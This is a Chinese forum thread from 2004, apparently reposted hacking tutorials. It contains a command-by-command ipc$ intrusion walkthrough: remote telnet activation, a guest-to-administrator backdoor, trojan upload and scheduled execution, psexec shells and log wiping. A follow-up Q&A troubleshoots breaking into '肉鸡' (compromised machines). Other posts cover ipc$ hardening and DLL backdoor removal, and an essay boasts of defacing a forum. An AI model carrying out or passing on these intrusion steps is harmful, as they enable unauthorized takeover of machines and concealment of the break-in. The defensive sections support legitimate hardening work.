数模论坛

 找回密码
 注-册-帐-号
搜索
热搜: 活动 交友 discuz
12
返回列表 发新帖

hacker教程!

[复制链接]
 楼主| 发表于 2004-5-22 23:26:12 | 显示全部楼层
十二 ipc$完整入侵步骤祥解

其实入侵步骤随个人爱好有所不同,我就说一下常见的吧,呵呵,献丑了!

1 用扫描软件搜寻存在若口令的主机,比如流光,SSS,X-scan等,随你的便,然后锁定目标,如果扫到了管理员权限的口令,你可以进行下面的步骤了,假设你现在得到了administrator的密码为空


2 此时您有两条路可以选择:要么给对方开telnet(命令行),要么给它传木马(图形界面),那我们就先走telnet这条路吧


3上面开telnet的命令没忘吧,要用到opentelnet这个小程序
c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90
如果返回如下信息
*******************************************************
Remote Telnet Configure, by refdom
Email: refdom@263.net
OpenTelnet.exe

Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.21.*...Successfully!

NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

Starting telnet service...
telnet service is started successfully! telnet service is running!

BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
*说明你已经打开了一个端口90的telnet。


4 现在我们telnet上去
telnet 192.168.21.* 90
如果成功,你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了,那么做点什么呢?把guest激活再加入管理组吧,就算留个后门了


5 C:\>net user guest /active:yes
*将Guest用户激活,也有可能人家的guest本来就试活的,你可以用net user guest看一下它的帐户启用的值是yes还是no


6 C:\>net user guest 1234
*将Guest的密码改为1234,或者改成你喜欢的密码


7 C:\>net localgroup administrators guest /add
*将Guest变为Administrator,这样,即使以后管理员更改了他的密码,我们也可以用guest登录了,不过也要提醒您,因为通过安全策略的设置,可以禁止guest等帐户的远程访问,呵呵,如果真是这样,那我们的后门也就白做了,愿上帝保佑Guest。


8 好了,现在我们来走另一条路,给它传个木马玩玩


9 首先,我们先建立起ipc$连接
C:\>net use \\192.168.21.*\ipc$ "" /user:administrator


10 既然要上传东西,就要先知道它开了什么共享
C:\>net view \\192.168.21.*
在 \\192.168.21.*的共享资源
资源共享名 类型 用途 注释

-----------------------------------------------------------
C Disk
D Disk
命令成功完成。
*好了,我们看到对方共享了C,D两个盘,我们下面就可以向任意一个盘复制文件了。再次声明,因为用net view命令无法看到默认共享,因此通过上面返回的结果,我们并不能判断对方是否开启了默认共享。


11 C:\>copy love.exe \\192.168.21.*\c
已复制 1 个文件
*用这个命令你可以将木马客户端love.exe传到对方的c盘下,当然,如果能复制到系统文件夹下是最好的了,不容易被发现


12 运行木马前,我们先看看它现在的时间
net time \\192.168.21.*
\\192.168.21.*的当前时间是 2003/8/22 上午 11:00
命令成功完成


13 现在我们用at运行它吧,不过对方一定要开了Task Scheduler服务(允许程序在指定时间运行),否则就不行了
C:\>at \\192.168.21.* 11:02 c:\love.exe
新加了一项作业,其作业 ID = 1


14 剩下就是等了,等过了11:02,你就可以用控制端去连接了,如果成功你将可以用图形界面去控制远程主机了,如果连接失败,那么它可能在局域网里,也可能程序被防火墙杀了,还可能它下线了(没这么巧吧),无论哪种情况你只好放弃了


嗯,好了,两种基本方法都讲了。如果你对上面的操作已经轻车熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec执行木马,用命令:psexec \\tergetIP -u user -p paswd cmd.exe直接获得shell等,这些都是可以得,随你的便。不过最后不要忘了把日志清理干净,可以用榕哥的elsave.exe。
讲了ipc$的入侵,就不能不说如何防范,那么具体要怎样做呢?看下面


 楼主| 发表于 2004-5-22 23:27:27 | 显示全部楼层
十三 如何防范ipc$入侵


1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)

方法1:
运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1
如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但限制通过这种连接得到列举SAM帐号和共享等信息;在Windows 2000 中增加了"2",限制所有匿名访问除非特别授权,如果设置为2的话,可能会有一些其他问题发生,建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。

方法2:
在本地安全设置-本地策略-安全选项-在'对匿名连接的额外限制'中做相应设置


2 禁止默认共享

1)察看本地共享资源
运行-cmd-输入net share

2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

3)停止server服务
net stop server /y (重新启动后server服务会重新开启)

4)禁止自动打开默认共享(此操作并未关闭ipc$共享)
运行-regedit

server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。

pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加。


3 关闭ipc$和默认共享依赖的服务:server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用
这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于lanmanserver,不要管它。


4 屏蔽139,445端口
由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。

1)139端口可以通过禁止NBT来屏蔽
本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项

2)445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重启机器

注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。


3)安装防火墙进行端口过滤


5 设置复杂密码,防止通过ipc$穷举出密码。

 楼主| 发表于 2004-5-22 23:27:48 | 显示全部楼层
十四 ipc$入侵问答精选


上面说了一大堆的理论东西,但在实际中你会遇到各种各样的问题,因此为了给予大家最大的帮助,我看好几个安全论坛,找了n多的帖子,从中整理了一些有代表性的问答,其中的一些答案是我给出的,一些是论坛上的回复,如果有什么疏漏和错误,还请包涵。


1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?

答:留下记录是一定的,你走后用程序删除就可以了,或者用肉鸡入侵。


2.你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功

答:可能有两个原因:
1)你的权限不够,不能访问默认共享;

2)对方没有开启admin$默认共享,不要认为能进行ipc$连接,对方就一定开了默认共享(很多人都这么以为,误区!!),此时你可以试试别的默认共享或普通共享,比如c$,d$,c,d等,如果还是不行,就要看你的权限了,如果是管理员权限,你可以开telnet,如果能成功,在给它开共享也行。


3.如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?

答:建议先用流光或者别的什么猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。


4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?

答:首先纠正你的一个错误,用net view是无法看到默认共享的。既然你现在有管理员权限,而且对方又开了ipc$,建议你用opentelnet.exe这个小程序打开它的telent,在获得了这个shell之后,做什么都可以了。


5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
net uset ccbirds /add

答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell之后,你才能在远程建立一个帐户,否则你的操作只是在本地进行。


6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?

答:不能copy文件有多个可能,除了权限不够外,还可能是对方c$,d$等默认管理共享没开,或者是对方为NTFS文件格式,通过设置,管理员也未必能远程写文件。既然你有管理员权限,那就开telnet上去吧,然后在开它的共享。


7.我用Win98能与对方建立ipc$连接吗?

答:不可以的,要进行ipc$的操作,建议用win2000


8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?

答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;或者你自己的NBT没有打开,netstat是建立在NBT之上的。  


9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?

答:呵呵,这说明你与目标主机建立了一个以上的ipc$连接,这是不允许的,把其他的删掉吧:net use \\*.*.*.*\ipc$ /del


10.我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?

答:你也太粗心了吧,这说明你的h盘正在使用,映射到别的盘符吧!


11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。

答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。


12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?

答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.


13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?

答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。


14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出现请键入 \\192.168.0.2 的密码,怎么回事情呢?

答:虽然你具有管理员权限,但管理员在设置c盘共享权限时可能并未设置允许administrator访问,所以会出现问题。


15.如果自己的机器禁止了ipc$, 是不是还可以用ipc连接别的机器?

答:可以的。

 楼主| 发表于 2004-5-22 23:33:09 | 显示全部楼层
<>[原创]我的一些心得
  1. &lt;SCRIPT src="http://www.20cn.net/cgi-bin/ns/count.cgi?id=20040521140137"&gt;

  2. &lt;script&gt;
复制代码
</P><>题目:我的一些心得
作者:枫三少
来源:黑客基地


基础篇

黑客技术是没有什么捷径可言的,精悍的技术需要不断的积累,有些看似简单的东西,仔细推敲,便能受益不少。
要知道原来的黑客技术它本身就不是一门单一的学科,而是由前人在不断的摸索实践中派生出来的。可以这么说黑客技术源于普通的计算机计算机而又高于它。记得我在上初中时教科书上有段简单的加法程序,是QB写的,输入一定范围内的任意两个整数,然后程序求和,但他在编写程序时没有对输入的数据进行验证,如果我们输入的数超出了程序的运算范围,比如说小数。那结果会怎样?会导致程序无法正常运行,而书上说这种“误”操作会导致程序的代码“溢出”。
Ciker℡说:“连TCP/IP协议都不懂的人 就想入侵
连数据库都不熟悉的人就想SQL注入 根本无从谈起 ”
道家有这么句话:“一生二,二生三,三生万物。”

系统篇
现在流行的操作系统有很多:UNIX/LINUX,WINDOWS X,OS/2……那我们将如何选择呢?“WINDOWS是有什么就用什么,UNIX是想要什么就编写什么。”从这话我们不难看出UNIX/LINUX更偏向于程序的开发。我个人认为,对于多数用户来说,完全没有必要放弃舒适的视窗体统。毕竟现在的WINDOWS在比尔大军的缝缝补补之下也逐渐成熟。有条件的朋友也可以考虑装个双系统什么的,就大趋势来看,UNIX及类UNIX的LINUX等系统将是WINDOWS的强劲对手,毕竟LINUX带给我们的是真正的自由!假设哪天WINDOWS被时代抛弃了,那咱先用LINUX不是很牛?!(老龙:小三,你费话咋就还那么多?……)嘿嘿,多说了两句。不管你做如何选择,从DOS入手将让你受益非浅!
“高手之路,DOS起步”
程序篇

都知道,计算机处理数据都是按人们事先拟定好的步骤来完成的。要想让计算机听命于自己,就必须学会怎样与它沟通,这样,也便有了计算机程序语言。
计算机语言有很多种:C/C++,ASP,PHP,ASM,VB,PERL,SQL(注:CGI本身不是计算机语言,它是一种数据接口)……每种语言都有它的作用,比如说C/C++是用于系统的编译,HTML用于网页编译……我最初学的是QB,然后自学C,VB。我发觉没有必要精通很多语言,如我在学完C后就能大概的看懂一些别的语言写的程序了。怎么说呢?触类旁通吧。
但如果连一两门语言都没有掌握,可以这么说,他不会成为一个真正的黑客,至多也只是个伪黑客。当然也不是说你掌握了一两门甚至更多语言你就是黑客,不是!你还得会利用。记得我当时多次篡改www.263.net游戏论坛界面时,很多人都很惊讶,其实现在我这也不是什么秘密了。不过在当时,在漏洞没有公开时,这就是一个秘密。那我是怎么发现这个秘密的呢?就是查看论坛源代码!

实战篇
可以这么说,一个成功的黑客,真的算是一个天才。因为有着超乎常人的严谨的思维。这,也就是我当初学习黑客技术的初衷。在真正开始一次入侵前,黑客往往需要做大量的准备。兵法有云:“知己知彼,方能百站不殆”。入侵就好比打仗,也要先了解对方,这一过程用行话说就是“踩点”。准备好工具,等待下手的最好时间。下手时间多选在管理员不在线时,都知道任何人都要休息,管理员也是人,也要休息。我们入侵为了避免被发现,多数都选在管理员休息的这个时间段。那么如何来确定这个时间段呢?这就需要我刚说到的对目标进行“踩点”。好了,我这里简单的讲讲我以前入侵中国黑客联盟(http://www.chinahacker.com)的思维过程。(注:本次行动经过站长KENDER授权的。)首先我使用XSCANER,TWWW,扫他的IP。但结果很失败,扫描结果是无法与主机会话。也就是我们说的无法建立连接。于是我打开首页,看看能不能从上面找到入侵节口。说了可能不信,我还测试过它是否存在IIS UNICODE漏洞。这里我说下原因,有很多人觉得过时了的漏洞就不存在了?错,如果SERVER重装,然后管理员跟我们的想法一样呢?他觉得没有人再去试他的老漏洞就放心大胆呢?很难说!这就是黑客技术中的一种:跟管理员打心理战。呵呵,当然了象黑盟这样的站点存在这类漏洞的机会几乎是不可能,事实告诉我们真的是这样。恩,这样,做个白痴的推论:黑客联盟网站内容时常更新,但他的框架不变,所以他是采用的模版,那么他怎样更新上面的内容呢?对,我听见老Y说了(YTT:我无语了……)呵呵,很明显黑客联盟一定有个数据库用于存放和更新网站信息。而管理员要登陆数据库,他就一定存在一个后台登陆口与数据库连接。而我现在的任务就是要找他那个数据库,然后采用类朔雪等暴力破解软件来对管理员密码进行破解。于是我使用GOOGLE进行搜索,可结果是很不理想的。后来我知道KENDER将管理员登陆口置于内网里,也就是说如果想用此方法获得管理员ROOT那就必须是已在内网中,但都在内网中了,还谈什么入侵?不行,换!
恩,再回到首页。汗,黑盟提供了文章下载?!说不定可以SQL INJECTION?随便点开一个页子,然后使用SQL INJECTION,结果我成功了:中国黑客联盟文章下载系统存在SQL注入漏洞。因为这里是给大家讲基础的东西,所以经过我就不在这里说了,只希望大家可以从中理解到入侵的一些思路。


黑客的义务是打破权限。“黑客,寻找漏洞的人”----它诠释了黑客的定义!


===============================================
本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处
文章类型:原创 提交:枫三少 核查:NetDemon</P>
 楼主| 发表于 2004-5-22 23:34:01 | 显示全部楼层
<>握着你的“手”清除DLL后门
  1. &lt;SCRIPT src="http://www.20cn.net/cgi-bin/ns/count.cgi?id=20040502233545"&gt;

  2. &lt;script&gt;
复制代码
</P><>文:握着你的“手”清除DLL后门
作者:dahubaobao [Nuke Group]
主页:http://www.ringz.org
团体站点:http://www.digitalnuke.com/main/
邮件:dahushibaobao@vip.sina.com
QQ:47809945
发表于黑客X档案2004年2期
工具及图片都在压缩包中,解压密码:www.ringz.org http://dahubaobao.go.nease.net/DLL.rar
欢迎进入环形区,一群技术狂热者的社区,www.ringz.org欢迎你的加入!
=====================================================================
握着你的“手”来清除DLL后门
------DLL后门清除完全篇
前言
后门!相信这个词语对您来说一定不会陌生,它的危害不然而欲,但随着人们的安全意识逐步增强,又加上杀毒软件的“大力支持”,使传统的后门无法在隐藏自己,任何稍微有点计算机知识的人,都知道“查端口”“看进程”,以便发现一些“蛛丝马迹”。所以,后门的编写者及时调整了思路,把目光放到了动态链接程序库上,也就是说,把后门做成DLL文件,然后由某一个EXE做为载体,或者使用Rundll32.exe来启动,这样就不会有进程,不开端口等特点,也就实现了进程、端口的隐藏。本文以“DLL的原理”“DLL的清除”“DLL的防范”为主题,并展开论述,旨在能让大家对DLL后门“快速上手”,不在恐惧DLL后门。好了,进入我们的主题。

一,DLL的原理
1,动态链接程序库
动态链接程序库,全称:Dynamic Link Library,简称:DLL,作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件,需要跟其进行“动态链接”;从编程的角度,应用程序需要知道DLL文件导出的API函数方可调用。由此可见,DLL文件本身并不可以运行,需要应用程序调用。正因为DLL文件运行时必须插入到应用程序的内存模块当中,这就说明了:DLL文件无法删除。这是由于Windows内部机制造成的:正在运行的程序不能关闭。所以,DLL后门由此而生!

2,DLL后门原理及特点
把一个实现了后门功能的代码写成一个DLL文件,然后插入到一个EXE文件当中,使其可以执行,这样就不需要占用进程,也就没有相对应的PID号,也就可以在任务管理器中隐藏。DLL文件本身和EXE文件相差不大,但必须使用程序(EXE)调用才能执行DLL文件。DLL文件的执行,需要EXE文件加载,但EXE想要加载DLL文件,需要知道一个DLL文件的入口函数(既DLL文件的导出函数),所以,根据DLL文件的编写标准:EXE必须执行DLL文件中的DLLMain()作为加载的条件(如同EXE的mian())。做DLL后门基本分为两种:1)把所有功能都在DLL文件中实现;2)把DLL做成一个启动文件,在需要的时候启动一个普通的EXE后门。

常见的编写方法:
(1),只有一个DLL文件

这类后门很简单,只把自己做成一个DLL文件,在注册表Run键值或其他可以被系统自动加载的地方,使用Rundll32.exe来自动启动。Rundll32.exe是什么?顾名思意,“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe,不必惊慌,这证明用Rundll32.exe启动了多少个的DLL文件。当然,这些Rundll32.exe执行的DLL文件是什么,我们都可以从系统自动加载的地方找到。

现在,我来介绍一下Rundll32.exe这个文件,意思上边已经说过,功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件,他的意思是“执行16位的DLL文件”,这里要注意一下。在来看看Rundll32.exe使用的函数原型:
Void CALLBACK FunctionName (
HWND hwnd,
HINSTANCE hinst,
LPTSTR lpCmdLine,
Int nCmdShow
);

其命令行下的使用方法为:Rundll32.exe DLLname,Functionname [Arguments]
DLLname为需要执行的DLL文件名;Functionname为前边需要执行的DLL文件的具体引出函数;[Arguments]为引出函数的具体参数。

(2),替换系统中的DLL文件
这类后门就比上边的先进了一些,它把实现了后门功能的代码做成一个和系统匹配的DLL文件,并把原来的DLL文件改名。遇到应用程序请求原来的DLL文件时, DLL后门就启一个转发的作用,把“参数”传递给原来的DLL文件;如果遇到特殊的请求时(比如客户端),DLL后门就开始,启动并运行了。对于这类后门,把所有操作都在DLL文件中实现最为安全,但需要的编程知识也非常多,也非常不容易编写。所以,这类后门一般都是把DLL文件做成一个“启动”文件,在遇到特殊的情况下(比如客户端的请求),就启动一个普通的EXE后门;在客户端结束连接之后,把EXE后门停止,然后DLL文件进入“休息”状态,在下次客户端连接之前,都不会启动。但随着微软的“数字签名”和“文件恢复”的功能出台,这种后门已经逐步衰落。

提示:
在WINNT\system32目录下,有一个dllcache文件夹,里边存放着众多DLL文件(也包括一些重要的EXE文件),在DLL文件被非法修改之后,系统就从这里来恢复被修改的DLL文件。如果要修改某个DLL文件,首先应该把dllcache目录下的同名DLL文件删除或更名,否则系统会自动恢复。

(3),动态嵌入式
这才是DLL后门最常用的方法。其意义是将DLL文件嵌入到正在运行的系统进程当中。在Windows系统中,每个进程都有自己的私有内存空间,但还是有种种方法来进入其进程的私有内存空间,来实现动态嵌入式。由于系统的关键进程是不能终止的,所以这类后门非常隐蔽,查杀也非常困难。常见的动态嵌入式有:“挂接API”“全局钩子(HOOK)”“远程线程”等。

远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体(或Rundll32.exe)在那个被插入的进程里创建了远程线程,并命令它执行某个DLL文件时,我们的DLL后门就挂上去执行了,这里不会产生新的进程,要想让DLL后门停止,只有让这个链接DLL后门的进程终止。但如果和某些系统的关键进程链接,那就不能终止了,如果你终止了系统进程,那Windows也随即被终止!!!

3,DLL后门的启动特性

启动DLL后门的载体EXE是不可缺少的,也是非常重要的,它被称为:Loader。如果没有Loader,那我们的DLL后门如何启动呢?因此,一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多,可以是为我们的DLL后门而专门编写的一个EXE文件;也可以是系统自带的Rundll32.exe,即使停止了Rundll32.exe,DLL后门的主体还是存在的。3721网络实名就是一个例子,虽然它并不是“真正”的后门。

二,DLL的清除
本节以三款比较有名的DLL后门例,分别为“SvchostDLL.dll”“BITS.dll”“QoServer.dll”。详细讲解其手工清除方法。希望大家在看过这三款DLL后门的清除方法之后,能够举一反三,灵活运用,在不惧怕DLL后门。其实,手工清除DLL后门还是比较简单的,无非就是在注册表中做文章。具体怎么做,请看下文。

1,PortLess BackDoor
这是一款功能非常强大的DLL后门程序,除了可以获得Local System权限的Shell之外,还支持如“检测克隆帐户”“安装终端服务”等一系列功能(具体可以参见程序帮助),适用Windows2000/xp/2003等系统。程序使用svchost.exe来启动,平常不开端口,可以进行反向连接(最大的特点哦),对于有防火墙的主机来说,这个功能在好不过了。

在介绍清除方法之前,我们先来简单的介绍一下svchost.exe这个系统的关键服务:
Svchost只是做为服务的宿主,本身并不实现什么功能,如果需要使用Svchost来启动服务,则某个服务是以DLL形式实现的,该DLL的载体Loader指向svchost,所以,在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的,在需要启动服务的下边都有一个Parameters子键,其中的ServiceDll表明该服务由哪个DLL文件负责,并且这个DLL文件必须导出一个ServiceMain()函数,为处理服务任务提供支持。

呵呵!看了上边的理论,是不是有点蒙(我都快睡着了),别着急,我们来看看具体的内容(如图1)。从图1中,我们可以看到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs下的Parameters子键,其键值为%SystemRoot%\system32\rpcss.dll。这就说明:启动RpcSs服务时。Svchost调用WINNT\system32目录下的rpcss.dll。

在来看看图2,这是注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,里边存放着Svchost启动的组和组内的各个服务,其中netsvcs组的服务最多。要使用Svchost启动某个服务,则该服务名就会出现在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下。这里有四种方法来实现:
1, 添加一个新的组,在组里添加服务名
2, 在现有组里添加服务名
3, 直接使用现有组里的一个服务名,但是本机没有安装的服务
4, 修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门

我测试的PortLess BackDoor使用的第三种方法。
好了,我想大家看完了上边的原理,一定可以想到我们清除PortLess BackDoor的方法了,对,就是在注册表的Svchost键下做文章。好,我们现在开始。

注:由于本文只是介绍清除方法,使用方法在此略过。

后门的Loader把SvchostDLL.dll插入Svchost进程当中,所以,我们先打开Windows优化大师中的Windows进程管理2.5,查看Svchost进程中的模块信息(如图3),从图3中我们可以看到,SvchostDLL.dll已经插入到Svchost进程中了,在根据“直接使用现有组里的一个服务名,但是本机没有安装的服务”的提示,我们可以断定,在“管理工具”—“服务”中会有一项新的服务。图4证明了我的说法,此服务名称为:IPRIP,由Svchost启动,-k netsvcs表示此服务包含在netsvcs服务组中。

我们把该服务停掉,然后打开注册表编辑器(开始—运行--regedit),来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPRIP下,查看其Parameters子键(如图5)。Program键的键值SvcHostDLL.exe为后门的Loader;ServiceDll的键值C:\WINNT\system32\svchostdll.dll为调用的DLL文件,这正是后门的DLL文件。现在我们删除IPRIP子键(或者用SC来删除),然后在来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下,编辑netsvcs服务组,把49 00 70 00 72 00 69 00 70 00 00 00删除,这里对应的就是IPRIP的服务名,具体如图6所示。然后退出,重启。重启之后删除WINNT\system32目录下的后门文件即可。

2,BITS.dll
这是榕哥的作品,也是DLL后门,和SvchostDLL.dll原理基本一样,不过这里使用的是上边介绍的第四种方法,即“修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门”。换句话说,该后门修改现有的某一个服务,把其原有服务的DLL指向自己(也就是BITS.dll),这样就达到了自动加载的目的;其次,该后门没有自己的Loader,而是使用系统自带的Rundll32.exe来加载。我们还是用Windows 进程管理2.5来查看,从图7中,我们可以看到bits.dll已经插入到Svchost进程当中。

好,现在我们来看看具体的清除方法,由于该后门是修改现有服务,而我们并不知道具体是修改了哪个服务,所以,在注册表中搜索bits.dll,最后在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto下搜索到了bits.dll,查看Parameters子键下的ServiceDll,其键值为C:\WINNT\system32\bits.dll(如图8)。原来,该后门把RasAuto服务原来的DLL文件替换为bits.dll了,这样来实现自动加载。知道了原因就好办了,现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件,即%SystemRoot%\System32\rasauto.dll,退出,重启。之后删除WINNT\system32目录下的bits.dll即可。

3,NOIR--QUEEN
NOIR--QUEEN(守护者)是一个DLL后门&amp;木马程序,服务端以DLL文件的形式插入到系统的Lsass.exe进程里,由于Lsass.exe是系统的关键进程,所以不能终止。在来介绍清除方法之前,我先介绍一下Lsass.exe进程:
这是一个本地的安全授权服务,并且它会为使用Winlogon服务的授权用户生成一个进程,如果授权是成功的,Lsass就会产生用户的进入令牌,令牌使用启动初始 的Shell。其他的由用户初始化的进程会继承这个令牌。
从上边的介绍我们就可以看出Lsass对系统的重要性,那具体怎么清除呢?请看下文。

后门在安装成功后,会在服务中添加一个名为QoSserver的服务,并把QoSserver.dll后门文件插入到Lsass进程当中,使其可以隐藏进程并自动启动(如图9)。现在我们打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\QoSserver,直接删除QoSserver键,然后重启。重启之后,我们在来到服务列表中,会看到QoSserver服务还在,但没有启动,类别是自动,我们把他修改为“已禁用”;然后往上看,会发现一个服务名为AppCPI的服务,其可执行程序指向QoSserver.exe(原因后边我会说到),具体如图11所示。我们再次打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppCPI,删除AppCPI键,重启,再删除QoSserver,最后删除WINNT\system32目录下的后门文件。

本人和这个后门“搏斗”了3个多小时,重启N次。原因在于即使删除了QoSserver服务,后门还是在运行,而且服务列表中的QoSserver服务又“死灰复燃”。后来才知道原因:在我删除了QoSserver服务并重启之后,插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务,并且生成了另外一个服务,即AppCPI,所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。由此可以看出,现在的后门的保护措施,真是一环扣环。

注意:在删除QoSserver服务并重启之后,恢复的QoSserver的启动类别要修改为“已禁用”,否则即便删除了AppCPI服务,QoSserver服务又运行了。

三,DLL的防范
看了上边的例子,我想大家对清除DLL后门的方法有了一定的了解,但在现实中,DLL后门并不会使用默认的文件名,所以你也就不能肯定是否中了DLL后门。对于DLL后门,system32目录下是个好地方,大多数后门也是如此,所以这里要非常注意。下面我来具体介绍一下怎么发现DLL后门,希望对大家有所帮助。

1,安装好系统和所有的应用程序之后,备份system32目录下的EXE和DLL文件:打开CMD,来到WINNT\system32目录下,执行:dir *.exe&gt;exe.txt &amp; dir *.dll&gt;dll.txt,这样,就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中;日后,如发现异常,可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt),并使用:fc exe.txt exe0.txt&gt;exedll.txt &amp; fc dll.txt dll0.txt&gt;exedll.txt,其意思为使用FC命令比较两次的EXE文件和DLL文件,并将比较结果保存到exedll.txt文件中。通过这种方法,我们就可以发现多出来的EXE和DLL文件,并通过文件大小,创建时间来判断是否是DLL后门。

2,使用内存/模块工具来查看进程调用的DLL文件,比如Windows优化大师中的Windows 进程管理 2.5。这样,可以发现进程到底调用了什么DLL文件,在结合上边用FC命令比较出来的结果,又能进一步来确定是否中了DLL后门。如果没有优化大师,可以使用TaskList,这个小工具也可以显示进程调用的DLL文件,而且还有源代码,方便修改。

3,普通后门连接需要打开特定的端口,DLL后门也不例外,不管它怎么隐藏,连接的时候都需要打开端口。我们可以用netstat –an来查看所有TCP/UDP端口的连接,以发现非法连接。大家平时要对自己打开的端口心中有数,并对netstat –an中的state属性有所了解。当然,也可以使用Fport来显示端口对应的进程,这样,系统有什么不明的连接和端口,都可以尽收眼底。

4,定期检查系统自动加载的地方,比如:注册表,Winstart.bat,Autoexec.bat,win.ini,system.ini,wininit.ini,Autorun.inf,Config.sys等。其次是对服务进行管理,对系统默认的服务要有所了解,在发现有问题的服务时,可以使用Windows 2000 Server Resource Kit中的SC来删除。以上这些地方都可以用来加载DLL后门的Loader,如果我们把DLL后门Loader删除了,试问?DLL后门还怎么运行?!

通过使用上边的方法,我想大多数DLL后门都可以“现形”,如果我们平时多做一些备份,那对查找DLL后门会启到事半功倍的效果。

后记
